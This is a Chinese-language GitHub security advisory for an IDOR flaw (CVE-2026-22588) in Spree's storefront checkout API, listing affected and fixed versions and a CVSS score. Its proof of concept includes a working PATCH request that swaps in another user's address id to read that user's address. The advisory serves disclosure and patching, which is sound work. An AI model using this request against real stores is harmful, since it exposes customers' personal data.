漏洞概要
Spree API 存在通过订单修改导致的身份验证不安全的直接对象引用 (IDOR) 漏洞
- 严重等级: 中等
- GitHub 已审核
- 发布时间: 2026年1月8日
- 影响仓库:
spree/spree
漏洞详情
受影响软件包
- bundler
- spree_api (RubyGems)
受影响版本
>= 3.7.0, < 4.10.2>= 5.0.0, < 5.0.7>= 5.1.0, < 5.1.9>= 5.2.0, < 5.2.5
已修复版本
4.10.25.0.75.1.95.2.5
描述
摘要
发现了一个身份验证不安全的直接对象引用 (IDOR) 漏洞,允许经过身份验证的用户通过修改现有订单来获取其他用户的地址信息。
攻击者通过编辑其合法拥有的订单,并在请求中操纵地址标识符,后端服务器会接受并处理指向其他用户地址的引用,随后将这些地址与攻击者的订单关联,并在响应中返回。
详情
受影响组件
- 已验证用户的订单管理功能
- 地址关联逻辑
- 订单更新端点
受影响端点: /api/v2/storefront/checkout
该应用程序在更新现有订单时未能强制执行正确的对象级授权。虽然用户已通过身份验证并有权修改自己的订单,但后端并未验证所提交的地址标识符是否属于同一已认证用户。
概念验证 (PoC)
前提条件
- 有效的已认证用户账户
步骤 1: 使用有效用户登录,本例中为 customer2@example.com
步骤 2: 查看当前用户的地址
- 请求
(以下截图显示了
1GET /account/addressescustomer2@example.com的地址。)
步骤 3: 初始化购物车
- 请求
从响应中提取加粗标记的
1POST /api/v2/storefront/cart HTTP/1.1token。
步骤 4: 合法的订单编辑请求
使用获得的订单令牌 A1cram_6cFWpoj4V1yPkuQ1767113871701 执行编辑订单请求,以添加自定义账单地址。
- 请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15PATCH /api/v2/storefront/checkout { "include": "billing_address", "order": { "email": "idor_test@example.com", "bill_address_attributes": { "firstname":"CTF","lastname":"Tester","address1":"123 Main St", "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD" }, "ship_address_attributes": { "firstname":"CTF","lastname":"Tester","address1":"123 Main St", "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD" } } }
步骤 5: 修改订单请求以包含其他用户的地址并触发 IDOR。 在此请求中,攻击者通过将地址标识符替换为属于另一个用户的标识符来修改请求,从而使原始地址标识符对攻击者可见。
- 请求
可以看到,其他用户的地址被显示出来。
1 2PATCH /api/v2/storefront/checkout {"include":"billing_address","order":{"bill_address_attributes":{"id":1}}}
影响
因此,攻击者可以:
- 将地址标识符替换为属于其他用户的标识符
- 导致后端将其他用户的地址与攻击者的订单关联并返回
参考链接
- GHSA-g268-72p7-9j6j
- spree/spree@02acabd
- spree/spree@17e78a9
- spree/spree@b409c0f
- spree/spree@d3f961c
- https://nvd.nist.gov/vuln/detail/CVE-2026-22588
安全评分
CVSS 总体评分: 6.5 (中等)
CVSS v3.1 向量: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS v3 基础指标:
- 攻击向量 (AV): 网络
- 攻击复杂度 (AC): 低
- 所需权限 (PR): 低
- 用户交互 (UI): 无
- 影响范围 (S): 未改变
- 机密性影响 (C): 高
- 完整性影响 (I): 无
- 可用性影响 (A): 无
EPSS 评分: 0.029% (第8百分位数)
弱点
弱点 (CWE): CWE-639 - 通过用户控制密钥绕过授权
系统授权功能未通过修改标识数据的关键值来防止一个用户获取另一个用户的数据或记录。